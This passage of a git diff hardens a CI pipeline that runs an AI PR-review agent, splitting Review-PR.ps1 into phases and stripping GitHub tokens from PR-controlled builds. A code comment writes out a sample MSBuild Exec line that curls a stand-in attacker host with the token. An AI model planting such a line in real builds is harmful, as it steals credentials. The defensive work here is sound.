+8. **No token republish.** Don't `setvariable` a token (visible to every later task, even with `issecret=true`). Don't write tokens to worktree files. Don't echo token names.
+
+## Review checklist
+
+- [ ] New `checkout: self` has `persistCredentials: false`.
+- [ ] New `env:` block lists only the tokens that task needs; Copilot task has no `GH_TOKEN`.
+- [ ] New post-merge script invoked via `$ScriptsDir` / `$SkillsDir` / `$EngScriptsDir`, not `$RepoRoot/...`, AND added to Setup copy block.
+- [ ] New invocation of PR-controlled code (`dotnet test|build|run`, `BuildAndRun*`, `Run-DeviceTests`, `Invoke-UITestWithRetry`) is wrapped in `Invoke-WithoutGhTokens` AT THE CALL SITE (not at an outer boundary).
+- [ ] New cross-phase state file lives under `$(Agent.TempDirectory)` / `$TRUSTED`.
+- [ ] New PR-stdout pipe uses `tr -d '\r' | sed -E 's/##vso\[[^]]*\]//g'`.
+- [ ] Edited `.github/workflows/*.md` has matching `.lock.yml` regenerated in same commit.
+
+## Grep these during review
+
+```bash
+git grep -nE 'dotnet (test|build|run|pack)' eng/pipelines/ci-copilot.yml .github/scripts .github/skills | grep -v Invoke-WithoutGhTokens
+git grep -nE 'Join-Path \$RepoRoot ".*\.(ps1|sh)"' .github/scripts .github/skills
+git grep -nA1 'checkout: self' eng/pipelines/ci-copilot.yml | grep -v persistCredentials
+git grep -nE 'Set-Content.*\$RepoRoot.*(gate-result|sentinel|verdict)' .github/scripts .github/skills
+git grep -nE 'sed.*##vso' eng/pipelines/ci-copilot.yml | grep -v 'tr -d'
+```
diff --git a/.github/scripts/Review-PR.ps1 b/.github/scripts/Review-PR.ps1
index 3bce923e2d..c966ce7d92 100644
--- a/.github/scripts/Review-PR.ps1
+++ b/.github/scripts/Review-PR.ps1
@@ -7,13 +7,15 @@
     
     Step 1: Branch setup           - Create review branch from main, merge PR squashed
     Step 2: Detect UI categories   - Run eng/scripts/detect-ui-test-categories.ps1 (info only)
-    Step 3: Run detected UI tests  - Execute BuildAndRunHostApp.ps1 per detected category (informational)
-    Step 4: Regression cross-ref   - Run Find-RegressionRisks.ps1 + run any tests from prior fix PRs
-    Step 5: Gate                   - Run test verification directly (verify-tests-fail.ps1)
-    Step 6: Multi-candidate review - Pre-Flight, then PARALLEL (expert-reviewer eval of PR + Try-Fix×4),
+    Step 3: Regression cross-ref   - Run Find-RegressionRisks.ps1 + run any tests from prior fix PRs
+    Step 4: Gate                   - Run test verification directly (verify-tests-fail.ps1)
+    Step 5: Multi-candidate review - Pre-Flight, then PARALLEL (expert-reviewer eval of PR + Try-Fix×4),
                                      then Report compares all candidates and writes winner.json
-    Step 7: Post AI Summary        - Directly runs posting scripts
-    Step 8: Apply labels           - Apply agent labels based on review results
+    Step 6: Post AI Summary        - Directly runs posting scripts
+    Step 7: Apply labels           - Apply agent labels based on review results
+
+    NOTE: Full-category UI test runs happen in the RunDeepUITests stage (ci-copilot.yml Stage 2),
+    not here. This script only runs targeted PR-specific tests in the Gate (Step 4).
 
     By default, the script checks out main and creates a review branch from it.
     If squash-merge conflicts, the script posts a comment on the PR and exits.
@@ -50,6 +52,13 @@ param(
     [ValidateSet('android', 'ios', 'windows', 'maccatalyst', 'catalyst')]
     [string]$Platform,
 
+    [Parameter(Mandatory = $false)]
+    [ValidateSet('Setup', 'Gate', 'CopilotReview', 'Post')]
+    [string]$Phase,
+
+    [Parameter(Mandatory = $false)]
+    [string]$TrustedScriptsDir,
+
     [Parameter(Mandatory = $false)]
     [switch]$UseCurrentBranch,
 
@@ -63,6 +72,13 @@ param(
 $ErrorActionPreference = 'Stop'
 
 if ($LogFile) {
+    # When running with -Phase, each phase is a separate process writing to the same log.
+    # Append a phase suffix so phases don't overwrite each other's logs.
+    if ($Phase) {
+        $logExt = [System.IO.Path]::GetExtension($LogFile)
+        $logBase = $LogFile.Substring(0, $LogFile.Length - $logExt.Length)
+        $LogFile = "${logBase}_${Phase}${logExt}"
+    }
     $logDir = Split-Path $LogFile -Parent
     if ($logDir -and -not (Test-Path $logDir)) {
         New-Item -ItemType Directory -Path $logDir -Force | Out-Null
@@ -73,6 +89,60 @@ if ($LogFile) {
 $RepoRoot = git rev-parse --show-toplevel 2>$null
 if (-not $RepoRoot) { Write-Error "Not in a git repository"; exit 1 }
 
+# ─── Phase routing ─────────────────────────────────────────────────────────────
+# When -Phase is specified, run ONLY that phase. This enables the 4-task AzDO
+# split where each task calls Review-PR.ps1 with a different phase, each with
+# exactly the secrets it needs in its env: block.
+#
+# Task 1 (Setup):         env: GH_TOKEN.             No dotnet, no copilot.
+# Task 2 (Gate):          env: GH_TOKEN.  PR-code subprocesses (dotnet test,
+#                         BuildAndRunHostApp.ps1, etc.) are wrapped via
+#                         Invoke-WithoutGhTokens so they cannot exfiltrate the token.
+# Task 3 (CopilotReview): env: COPILOT_GITHUB_TOKEN. copilot → dotnet (stripped).
+# Task 4 (Post):          env: GH_TOKEN.             Trusted scripts, no dotnet.
+#
+# When -Phase is NOT specified, all steps run sequentially (backward compat for
+# local development use).
+$runSetup         = -not $Phase -or $Phase -eq 'Setup'
+$runGate          = -not $Phase -or $Phase -eq 'Gate'
+$runCopilotReview = -not $Phase -or $Phase -eq 'CopilotReview'
+$runPost          = -not $Phase -or $Phase -eq 'Post'
+
+# Resolve the scripts directory — use TrustedScriptsDir if provided (CI),
+# otherwise use the repo's own .github/ directory (local dev).
+$ScriptsDir    = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'scripts' }     else { $PSScriptRoot }
+$SkillsDir     = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'skills' }      else { Join-Path $PSScriptRoot '../skills' }
+$EngScriptsDir = if ($TrustedScriptsDir) { Join-Path $TrustedScriptsDir 'eng-scripts' } else { Join-Path $PSScriptRoot '../../eng/scripts' }
+
+$commentCleanupScript = Join-Path $ScriptsDir "shared/Remove-StaleMauiBotComments.ps1"
+if (Test-Path $commentCleanupScript) {
+    . $commentCleanupScript
+}
+
+# Gate has GH_TOKEN in env so trusted code (Detect-TestsInDiff, Find-RegressionRisks,
+# detect-ui-test-categories) can fetch PR metadata via `gh` CLI. Any subprocess that
+# executes PR-controlled code (MSBuild targets, test code, source generators, host-app
+# builds) would otherwise inherit that token and trivially exfiltrate it via something
+# like `<Exec Command="curl attacker/?t=$(GH_TOKEN)" />` in a .csproj or
+# Directory.Build.targets. Wrap every such invocation in Invoke-WithoutGhTokens.
+function Invoke-WithoutGhTokens {
+    [CmdletBinding()]
+    param([Parameter(Mandatory)][scriptblock]$ScriptBlock)
+    $saved = @{
+        GH_TOKEN             = $env:GH_TOKEN
+        GITHUB_TOKEN         = $env:GITHUB_TOKEN
+        COPILOT_GITHUB_TOKEN = $env:COPILOT_GITHUB_TOKEN
+    }
+    try {
+        $env:GH_TOKEN             = $null
+        $env:GITHUB_TOKEN         = $null
+        $env:COPILOT_GITHUB_TOKEN = $null
+        & $ScriptBlock
+    } finally {
+        foreach ($k in $saved.Keys) { Set-Item -Path ("env:" + $k) -Value $saved[$k] }
+    }
+}
+
 # ─── Banner ───────────────────────────────────────────────────────────────────
 Write-Host ""
 Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
@@ -87,7 +157,25 @@ if ($Platform) {
 Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
 Write-Host ""
 
+# ─── Shared variables (available to all phases) ──────────────────────────────
+$platformInstruction = if ($Platform) {
+    "**Platform for testing:** $Platform"
+} else {
+    "**Platform for testing:** Determine from PR's affected code paths and current host OS."
+}
+
+$autonomousRules = @"
+
+🚨 **AUTONOMOUS EXECUTION:**
+- There is NO human operator - NEVER stop and ask for input
+- On environment blockers: skip the blocked phase and continue
+- Always prefer CONTINUING with partial results over STOPPING
+"@
+
+$reviewBranch = "pr-review-$PRNumber"
+
 # ─── Prerequisites ────────────────────────────────────────────────────────────
+if ($runSetup) {
 Write-Host "📋 Checking prerequisites..." -ForegroundColor Yellow
 
 $ghVersion = gh --version 2>$null | Select-Object -First 1
@@ -104,21 +192,6 @@ $prInfo = gh pr view $PRNumber --json title,state 2>$null | ConvertFrom-Json
 if (-not $prInfo) { Write-Error "PR #$PRNumber not found"; exit 1 }
 Write-Host "  ✅ PR: $($prInfo.title)" -ForegroundColor Green
 
-# ─── Shared prompt rules ─────────────────────────────────────────────────────
-$platformInstruction = if ($Platform) {
-    "**Platform for testing:** $Platform"
-} else {
-    "**Platform for testing:** Determine from PR's affected code paths and current host OS."
-}
-
-$autonomousRules = @"
-
-🚨 **AUTONOMOUS EXECUTION:**
-- There is NO human operator - NEVER stop and ask for input
-- On environment blockers: skip the blocked phase and continue
-- Always prefer CONTINUING with partial results over STOPPING
-"@
-
 # ═════════════════════════════════════════════════════════════════════════════
 #  STEP 1: Branch Setup (Create Review Branch & Cherry-Pick PR)
 # ═════════════════════════════════════════════════════════════════════════════
@@ -128,8 +201,6 @@ Write-Host "╔═════════════════════
 Write-Host "║  STEP 1: BRANCH SETUP                                     ║" -ForegroundColor Yellow
 Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Yellow
 
-$reviewBranch = "pr-review-$PRNumber"
-
 if ($DryRun) {
     if ($UseCurrentBranch) {
         Write-Host "[DRY RUN] Would create review branch '$reviewBranch' from current branch" -ForegroundColor Magenta
@@ -243,6 +314,13 @@ if ($DryRun) {
         } else {
             Write-Host "  ⚠️ No changes to merge (PR may already be up to date)" -ForegroundColor Yellow
         }
+
+        if (Get-Command Remove-StaleMauiBotIssueComments -ErrorAction SilentlyContinue) {
+            Remove-StaleMauiBotIssueComments `
+                -PRNumber $PRNumber `
+                -IncludeMergeConflict `
+                -Reason "resolved merge-conflict notice"
+        }
     } else {
         Write-Host "  ❌ Squash-merge had conflicts." -ForegroundColor Red
         git merge --abort 2>$null
@@ -253,8 +331,18 @@ if ($DryRun) {
         git branch -D $reviewBranch 2>$null
         git branch -D $tempBranch 2>$null
 
+        if (Get-Command Remove-StaleMauiBotIssueComments -ErrorAction SilentlyContinue) {
+            Remove-StaleMauiBotIssueComments `
+                -PRNumber $PRNumber `
+                -IncludeMergeConflict `
+                -Reason "stale merge-conflict notice"
+        }
+
         # Post a comment on the PR about merge conflicts
-        $conflictBody = "⚠️ **Merge Conflict Detected** — This PR has merge conflicts with its target branch. Please rebase onto the target branch and resolve the conflicts."
+        $conflictBody = @"
+<!-- MAUI_BOT_MERGE_CONFLICT -->
+⚠️ **Merge Conflict Detected** — This PR has merge conflicts with its target branch. Please rebase onto the target branch and resolve the conflicts.
+"@
         try {
             gh pr comment $PRNumber --body $conflictBody 2>&1 | Out-Null
             Write-Host "  📝 Posted merge conflict comment on PR" -ForegroundColor Cyan
@@ -275,10 +363,42 @@ if ($DryRun) {
     Write-Host "  📝 HEAD: $headCommit" -ForegroundColor Gray
 }
 
+} # end if ($runSetup)
+
+# End of Setup phase — write sentinel and exit early
+if ($Phase -eq 'Setup') {
+    # Sentinel signals to Tasks 2-4 that Setup completed successfully (PR merged).
+    $sentinelDir = if ($TrustedScriptsDir) {
+        Split-Path $TrustedScriptsDir -Parent
+    } else {
+        $d = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
+        New-Item -ItemType Directory -Force -Path $d | Out-Null
+        $d
+    }
+    "OK" | Set-Content (Join-Path $sentinelDir "setup-complete") -Encoding UTF8
+    Write-Host "✅ Setup phase complete" -ForegroundColor Green
+    if ($LogFile) { Stop-Transcript -ErrorAction SilentlyContinue | Out-Null }
+    exit 0
+}
+
+# ─── Sentinel check: verify Setup completed before running later phases ───
+if ($Phase -and $Phase -ne 'Setup') {
+    $sentinelDir = if ($TrustedScriptsDir) {
+        Split-Path $TrustedScriptsDir -Parent
+    } else {
+        Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
+    }
+    $sentinelFile = Join-Path $sentinelDir "setup-complete"
+    if (-not (Test-Path $sentinelFile)) {
+        Write-Error "Setup phase did not complete (sentinel not found at '$sentinelFile'). Cannot proceed with -Phase $Phase."
+        exit 1
+    }
+}
+
 # ─── Helper: Parse `dotnet test --logger "console;verbosity=detailed"` ──────
 # Extracts per-test results (Passed/Failed/Skipped) plus failure messages and
-# stack traces from raw stdout. Used by STEP 3 so the AI summary comment shows
-# WHICH tests failed and WHY, not just an aggregate exit code.
+# stack traces from raw stdout. Used by the RunDeepUITests stage and Gate so the
+# AI summary comment shows WHICH tests failed and WHY, not just an aggregate exit code.
 function Get-DotNetTestResults {
     param([string[]]$Lines)
 
@@ -358,7 +478,7 @@ function Get-DotNetTestResults {
 #   --logger "trx;LogFileName=<sanitized>.trx" --results-directory <dir>
 # The TRX is the same format AzDO's PublishTestResults@2 ingests, so it has
 # every test's outcome, duration, error message and stack trace — without
-# any console-scrape ambiguity. STEP 3 prefers TRX when available because
+# any console-scrape ambiguity. The RunDeepUITests stage and Gate prefer TRX when
 # parsing console output is fragile when many tests run, lines wrap, or
 # multi-line ErrorRecords get glued together by PowerShell stream merging.
 # Get-TrxResults: defined inline because Review-PR.ps1 is invoked by
@@ -467,10 +587,12 @@ function Invoke-CopilotStep {
     }
 
     # Use JSON output format to stream live progress of agent activity.
+    # --secret-env-vars: defense-in-depth — strips named tokens from copilot's
+    # shell/MCP subprocess env even if they somehow appear (e.g., via variable groups).
     # Model is overridable via $env:COPILOT_REVIEW_MODEL so contributors without internal-model access
     # can run this script (e.g., with 'claude-opus-4.6' or 'claude-sonnet-4.6').
     $copilotModel = if ($env:COPILOT_REVIEW_MODEL) { $env:COPILOT_REVIEW_MODEL } else { 'gpt-5.5' }
-    & copilot -p $Prompt --allow-all --output-format json --model $copilotModel 2>&1 | ForEach-Object {
+    & copilot -p $Prompt --allow-all --output-format json --model $copilotModel --secret-env-vars=GH_TOKEN,COPILOT_GITHUB_TOKEN,GITHUB_TOKEN 2>&1 | ForEach-Object {
         $line = $_.ToString()
         try {
             $event = $line | ConvertFrom-Json -ErrorAction Stop
@@ -613,6 +735,8 @@ function Invoke-CopilotStep {
 #  STEP 2: DETECT UI Test Categories (detection only — no pipeline trigger)
 # ═════════════════════════════════════════════════════════════════════════════
 
+if ($runGate) {
+
 Write-Host ""
 Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
 Write-Host "║  STEP 2: DETECT UI TEST CATEGORIES                       ║" -ForegroundColor Cyan
@@ -620,7 +744,7 @@ Write-Host "╚═════════════════════
 
 $uitestCategories = ""
 
-$detectScript = Join-Path $RepoRoot "eng/scripts/detect-ui-test-categories.ps1"
+$detectScript = Join-Path $EngScriptsDir "detect-ui-test-categories.ps1"
 if (Test-Path $detectScript) {
     try {
         $detectOutput = & pwsh -NoProfile -File $detectScript -PrNumber "$PRNumber" 2>&1
@@ -647,10 +771,10 @@ if (Test-Path $detectScript) {
 
         # Emit detected categories as an AzDO output variable so downstream
         # stages (RunDeepUITests, UpdateAISummaryComment) in ci-copilot.yml
-        # can read them via $(stageDependencies.ReviewPR.CopilotReview.outputs['RunReview.detectedCategories']).
+        # can read them via $(stageDependencies.ReviewPR.CopilotReview.outputs['RunGate.detectedCategories']).
         # `isOutput=true` is required for cross-stage consumption; the
         # variable name is namespaced under the step's `name:` property
-        # in ci-copilot.yml (currently `RunReview`) by AzDO.
+        # in ci-copilot.yml (currently `RunGate`) by AzDO.
         # Local invocations (no $env:TF_BUILD) won't have an AzDO variable
         # store but the marker is harmless — gets ignored.
         # Emit detected categories. Blank = "run all", a specific string = categories,
@@ -690,461 +814,16 @@ if ($LASTEXITCODE -ne 0) {
 }
 
 # ═════════════════════════════════════════════════════════════════════════════
-#  STEP 3: RUN DETECTED UI TEST CATEGORIES (script, no copilot agent)
+#  STEP 3: REGRESSION CROSS-REFERENCE (script, no copilot agent)
 # ═════════════════════════════════════════════════════════════════════════════
-# Runs the UI test categories that Step 2 detected. Skipped when:
-#   - $uitestCategories is 'NONE'        (no UI-relevant changes)
-#   - $uitestCategories is empty/blank    (run-all matrix — too expensive locally)
-# Results are appended to the existing uitests/content.md so they show up in
-# the same collapsible section of the AI summary comment.
 
 Write-Host ""
 Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
-Write-Host "║  STEP 3: RUN DETECTED UI TESTS                            ║" -ForegroundColor Cyan
-Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
-
-$uitestRunResult = "SKIPPED"
-$uitestRunnerScript = Join-Path $PSScriptRoot "BuildAndRunHostApp.ps1"
-
-if ($uitestCategories -eq 'NONE') {
-    Write-Host "  ⏭️  Skipped — detection returned NONE (no UI-relevant changes)" -ForegroundColor DarkGray
-} elseif ([string]::IsNullOrWhiteSpace($uitestCategories)) {
-    Write-Host "  ⏭️  Skipped — detection returned the run-all matrix (too expensive to run all categories locally)" -ForegroundColor DarkGray
-} elseif (-not (Test-Path $uitestRunnerScript)) {
-    Write-Host "  ⚠️ BuildAndRunHostApp.ps1 not found — cannot run UI tests" -ForegroundColor Yellow
-} else {
-    # Mirror the regression-test platform fallback so a $Platform-less invocation
-    # still has a concrete target instead of silently picking nothing.
-    $uitestPlatform = if ($Platform) { $Platform } else { "android" }
-
-    $categoryList = @($uitestCategories -split ',' | ForEach-Object { $_.Trim() } | Where-Object { $_ })
-    Write-Host "  🧪 Running $($categoryList.Count) detected UI category(ies) on '$uitestPlatform'…" -ForegroundColor Cyan
-
-    $uitestRunOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/uitests"
-    New-Item -ItemType Directory -Force -Path $uitestRunOutputDir | Out-Null
-
-    $uitestPassed = 0
-    $uitestFailed = 0
-    $uitestSkipped = 0
-    $uitestDetails = @()
-
-    foreach ($cat in $categoryList) {
-        Write-Host ""
-        Write-Host "  📋 [$cat] Invoke-UITestWithRetry -Platform $uitestPlatform -Category $cat" -ForegroundColor Cyan
-
-        # Delegate to the shared deploy+retry script so STEP 3 uses the
-        # SAME pre-boot + retry-on-env-error + device-reboot pipeline as
-        # the Gate (verify-tests-fail.ps1's Invoke-TestRun +
-        # Invoke-TestRunWithRetry). When the Android emulator/iOS sim
-        # rejects an install ("ADB0010 Broken pipe", XHarness exit 83,
-        # AppiumServerHasNotBeenStartedLocally, …) the helper retries up
-        # to 3 times with adb reboot / simctl boot recovery between
-        # attempts. Without this, a single transient install failure was
-        # turning into "119 OneTimeSetUp timeouts" in the AI summary.
-        $catLogPath = Join-Path $uitestRunOutputDir ("$cat-output.log")
-        $catStart = Get-Date
-        $sharedRunner = Join-Path $PSScriptRoot "shared/Invoke-UITestWithRetry.ps1"
-        $runResult = $null
-        $testOutput = @()
-        $testExitCode = -1
-        $envErrHit = $null
-        try {
-            $runResult = & $sharedRunner `
-                -Platform $uitestPlatform `
-                -Category $cat `
-                -RepoRoot $RepoRoot `
-                -LogFile $catLogPath
-            if ($runResult) {
-                $testOutput   = $runResult.Output
-                $testExitCode = $runResult.ExitCode
-                $envErrHit    = $runResult.EnvErrorHit
-                Write-Host "    Attempts: $($runResult.Attempts) · Exit: $testExitCode · EnvError: $envErrHit" -ForegroundColor Gray
-                $testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host "    $_" }
-            }
-        } catch {
-            Write-Host "    ⚠️ Shared runner threw: $_" -ForegroundColor Yellow
-            $testExitCode = -1
-        }
-        $catDuration = [math]::Round(((Get-Date) - $catStart).TotalSeconds, 1)
-
-        # Parse per-test results. We prefer the TRX file written by
-        # `dotnet test --logger trx` (mirrors CI pipeline 313's
-        # `RunTestWithLocalDotNet`) — it's authoritative because it captures
-        # every test's outcome, duration, error and stack regardless of
-        # how the console output got wrapped or interleaved. We only fall
-        # back to scraping the captured stdout via Get-DotNetTestResults
-        # when the TRX is missing (build/deploy crashed before tests ran,
-        # or an older BuildAndRunHostApp.ps1 ran without --logger trx).
-        $perTestResults = @()
-        $trxAggregate   = $null
-        $trxPath        = if ($runResult) { [string]$runResult.TrxResultFile } else { $null }
-        if ($trxPath -and (Test-Path $trxPath)) {
-            try {
-                $trxAggregate = Get-TrxResults -TrxPath $trxPath
-                if ($trxAggregate) {
-                    $perTestResults = @($trxAggregate.Results)
-                    Write-Host "    📄 TRX parsed: total=$($trxAggregate.Total) passed=$($trxAggregate.Passed) failed=$($trxAggregate.Failed) skipped=$($trxAggregate.Skipped)" -ForegroundColor Cyan
-                }
-            } catch {
-                Write-Host "    ⚠️ Failed to parse TRX $trxPath : $_" -ForegroundColor Yellow
-            }
-        }
-        if (-not $trxAggregate) {
-            try {
-                $perTestResults = @(Get-DotNetTestResults -Lines $testOutput)
-            } catch {
-                Write-Host "    ⚠️ Failed to parse per-test results: $_" -ForegroundColor Yellow
-            }
-        }
-        $catFailedTests = @($perTestResults | Where-Object { $_.status -eq 'Failed' })
-        $catPassedTests = @($perTestResults | Where-Object { $_.status -eq 'Passed' })
-        # Authoritative aggregate counts: TRX > per-test array. (When the TRX
-        # is present its <Counters total="N" .../> attribute beats counting
-        # array items because VSTest may report retries/skips that aren't in
-        # individual <UnitTestResult> nodes.)
-        if ($trxAggregate) {
-            $catTotalCount  = [int]$trxAggregate.Total
-            $catPassedCount = [int]$trxAggregate.Passed
-            $catFailedCount = [int]$trxAggregate.Failed
-        } else {
-            $catTotalCount  = $perTestResults.Count
-            $catPassedCount = $catPassedTests.Count
-            $catFailedCount = $catFailedTests.Count
-        }
-
-        if ($testExitCode -eq 0) {
-            Write-Host "    ✅ PASSED ($catDuration s, $catPassedCount test(s))" -ForegroundColor Green
-            $uitestPassed++
-            $uitestDetails += @{
-                category     = $cat
-                result       = 'PASSED'
-                duration_s   = $catDuration
-                tests_total  = $catTotalCount
-                tests_passed = $catPassedCount
-                tests_failed = 0
-                passed_tests = @($catPassedTests | ForEach-Object { @{ name = $_.name; duration = $_.duration } })
-                failed_tests = @()
-            }
-        } elseif ($testExitCode -eq -1) {
-            Write-Host "    ⏭️ SKIPPED" -ForegroundColor DarkGray
-            $uitestSkipped++
-            $uitestDetails += @{
-                category     = $cat
-                result       = 'SKIPPED'
-                duration_s   = $catDuration
-                reason       = 'Runner threw an exception'
-                tests_total  = 0
-                tests_passed = 0
-                tests_failed = 0
-                passed_tests = @()
-                failed_tests = @()
-            }
-        } else {
-            Write-Host "    ❌ FAILED (exit code: $testExitCode, $catDuration s, $catFailedCount failed test(s))" -ForegroundColor Red
-            foreach ($ft in $catFailedTests) {
-                Write-Host "       • $($ft.name)" -ForegroundColor Red
-            }
-            $uitestFailed++
-            # When per-test parsing found no failures (e.g. build/deploy
-            # crashed before tests ran), capture the last 30 lines of the
-            # category's stdout so the AI summary can show the actual error
-            # (CS0246, RS0016, missing dependency, etc.) instead of just
-            # "exit code 1".
-            $buildTail = $null
-            if ($catFailedCount -eq 0) {
-                try {
-                    $tail = @($testOutput | ForEach-Object { "$_" } | Select-Object -Last 30)
-                    $buildTail = ($tail -join "`n").Trim()
-                } catch { $buildTail = $null }
-            }
-            # Detect infrastructure-level failure: when ALL failures share a
-            # OneTimeSetUp timeout AND the build log shows the HostApp couldn't
-            # be installed/launched (ADB install failure, broken pipe, no
-            # device, etc.), this is a CI infra problem — not real test
-            # regressions. Reviewers shouldn't be alarmed by "119 failed tests"
-            # when the app never even started.
-            #
-            # If $envErrHit was set above, use that — the retry loop already
-            # detected an env error and exhausted retries.
-            # Load shared env-error patterns (single source of truth).
-            $sharedPatternsScript = Join-Path $PSScriptRoot "shared/Get-EnvErrorPatterns.ps1"
-            if (Test-Path $sharedPatternsScript) {
-                . $sharedPatternsScript
-                $infraSignals = Get-EnvErrorPatterns
-            } else {
-                $infraSignals = @(
-                    'InstallFailedException',
-                    'Failure calling service package',
-                    'ADB0010',
-                    'Broken pipe',
-                    'no devices/emulators found',
-                    'device offline',
-                    'Could not connect to device',
-                    'Failed to launch the application',
-                    'cmd: Failure'
-                )
-            }
-            $infraReason = $envErrHit
-            if (-not $infraReason -and $catFailedTests.Count -gt 0) {
-                # Two equally-strong infra-failure indicators:
-                #   (a) every failure is `OneTimeSetUp:` — driver couldn't
-                #       reach the runner UI button.
-                #   (b) the build itself failed (`Build FAILED`) and there
-                #       are zero passes — NUnit then "fails" every test in
-                #       the assembly because the HostApp APK never got
-                #       installed.
-                $logText = ($testOutput | ForEach-Object { "$_" }) -join "`n"
-                $allOneTimeSetup = @($catFailedTests | Where-Object {
-                    ($_.error -as [string]) -match '^OneTimeSetUp:'
-                }).Count -eq $catFailedTests.Count
-                $buildFailedNoPasses = ($catPassedCount -eq 0) -and ($logText -match '(?m)^Build FAILED\.\s*$')
-                if ($allOneTimeSetup -or $buildFailedNoPasses) {
-                    foreach ($sig in $infraSignals) {
-                        if ($logText -match $sig) {
-                            $infraReason = $sig
-                            break
-                        }
-                    }
-                }
-            }
-            $uitestDetails += @{
-                category     = $cat
-                result       = 'FAILED'
-                duration_s   = $catDuration
-                exit_code    = $testExitCode
-                tests_total  = $catTotalCount
-                tests_passed = $catPassedCount
-                tests_failed = $catFailedCount
-                build_tail   = $buildTail
-                infra_failure = $infraReason
-                trx_path     = $trxPath
-                passed_tests = @($catPassedTests | ForEach-Object { @{ name = $_.name; duration = $_.duration } })
-                failed_tests = @($catFailedTests | ForEach-Object {
-                    @{
-                        name     = $_.name
-                        duration = $_.duration
-                        error    = $_.error
-                        stack    = $_.stack
-                    }
-                })
-            }
-        }
-    }
-
-    if ($uitestFailed -gt 0) {
-        $uitestRunResult = "FAILED"
-        Write-Host ""
-        Write-Host "  🔴 UI test result: $uitestPassed passed, $uitestFailed FAILED, $uitestSkipped skipped" -ForegroundColor Red
-    } elseif ($uitestPassed -gt 0) {
-        $uitestRunResult = "PASSED"
-        Write-Host ""
-        Write-Host "  ✅ UI test result: $uitestPassed passed, $uitestSkipped skipped" -ForegroundColor Green
-    } else {
-        $uitestRunResult = "SKIPPED"
-        Write-Host ""
-        Write-Host "  ⏭️  All UI categories skipped ($uitestSkipped total)" -ForegroundColor DarkGray
-    }
-
-    # Append a results table to the existing uitests/content.md so the same
-    # collapsible "UI Tests — Category Detection" section in the AI summary
-    # comment now contains both the detected list and the run results.
-    $uitestContentFile = Join-Path $uitestRunOutputDir "content.md"
-    $appendMd = New-Object System.Text.StringBuilder
-    [void]$appendMd.AppendLine()
-    [void]$appendMd.AppendLine("### 🧪 UI Test Execution Results")
-    [void]$appendMd.AppendLine()
-    $resultIcon = switch ($uitestRunResult) { "PASSED" { "✅" }; "FAILED" { "❌" }; default { "⏭️" } }
-    [void]$appendMd.AppendLine("$resultIcon **$uitestRunResult** — $uitestPassed passed, $uitestFailed failed, $uitestSkipped skipped (platform: ``$uitestPlatform``)")
-    [void]$appendMd.AppendLine()
-    if ($uitestDetails.Count -gt 0) {
-        [void]$appendMd.AppendLine("| Category | Result | Tests | Duration | Notes |")
-        [void]$appendMd.AppendLine("|---|---|---|---|---|")
-        foreach ($d in $uitestDetails) {
-            $icon = switch ($d.result) { "PASSED" { "✅" }; "FAILED" { "❌" }; default { "⏭️" } }
-            # Tests column: e.g. "1/1 ✓" on pass, "0/1 (1 ❌)" on fail. When the
-            # category itself failed but no per-test failures were parsed (e.g.
-            # build/deploy crashed before tests ran), don't claim a green ✓ —
-            # show "build/deploy failed" so reviewers aren't misled.
-            $tCount = if ($null -ne $d.tests_total) { [int]$d.tests_total } else { 0 }
-            $tPass  = if ($null -ne $d.tests_passed) { [int]$d.tests_passed } else { 0 }
-            $tFail  = if ($null -ne $d.tests_failed) { [int]$d.tests_failed } else { 0 }
-            $testsCol = if ($d.infra_failure) {
-                            "🛠️ infra failure ($tFail bogus failures)"
-                        }
-                        elseif ($d.result -eq 'FAILED' -and $tFail -eq 0) {
-                            if ($tCount -eq 0) { "build/deploy failed" }
-                            else { "$tPass/$tCount — build/deploy failed before per-test results" }
-                        }
-                        elseif ($tCount -eq 0) { "—" }
-                        elseif ($tFail -gt 0) { "$tPass/$tCount ($tFail ❌)" }
-                        else { "$tPass/$tCount ✓" }
-            $notes = if ($d.infra_failure) { "infra: $($d.infra_failure)" }
-                     elseif ($d.exit_code) { "exit code $($d.exit_code)" }
-                     elseif ($d.reason)    { $d.reason }
-                     else                  { "" }
-            [void]$appendMd.AppendLine("| ``$($d.category)`` | $icon $($d.result) | $testsCol | $($d.duration_s)s | $notes |")
-        }
-    }
-    [void]$appendMd.AppendLine()
-
-    # Per-failed-category breakdown: collapsible block with each failed test's
-    # name, error message, and first stack frame so a reviewer can diagnose
-    # without downloading the full build artifact. When a category failed but
-    # produced no per-test failures (build/deploy crashed), surface the last
-    # 30 lines of stdout so the AI summary still pinpoints the cause.
-    $failedCats = @($uitestDetails | Where-Object { $_.result -eq 'FAILED' -and (($_.failed_tests -and $_.failed_tests.Count -gt 0) -or $_.build_tail) })
-    $infraCats = @($failedCats | Where-Object { $_.infra_failure })
-    if ($infraCats.Count -gt 0) {
-        [void]$appendMd.AppendLine("> ⚠️ **Infrastructure failure detected** — for $($infraCats.Count) categor$(if ($infraCats.Count -eq 1) { 'y' } else { 'ies' }) below, the HostApp couldn't be installed or launched on the device (build/deploy failed). NUnit then reports every test in the assembly as failed. **These are NOT real test regressions** — the test runner never started. Look for ``$($infraCats[0].infra_failure)`` in the build log.")
-        [void]$appendMd.AppendLine()
-    }
-    if ($failedCats.Count -gt 0) {
-        [void]$appendMd.AppendLine("#### Failed test details")
-        [void]$appendMd.AppendLine()
-        foreach ($d in $failedCats) {
-            $hasFailedTests = $d.failed_tests -and $d.failed_tests.Count -gt 0
-            $headSummary = if ($d.infra_failure) {
-                "🛠️ <code>$($d.category)</code> — infra failure ($($d.failed_tests.Count) bogus failures, app never installed)"
-            } elseif ($hasFailedTests) {
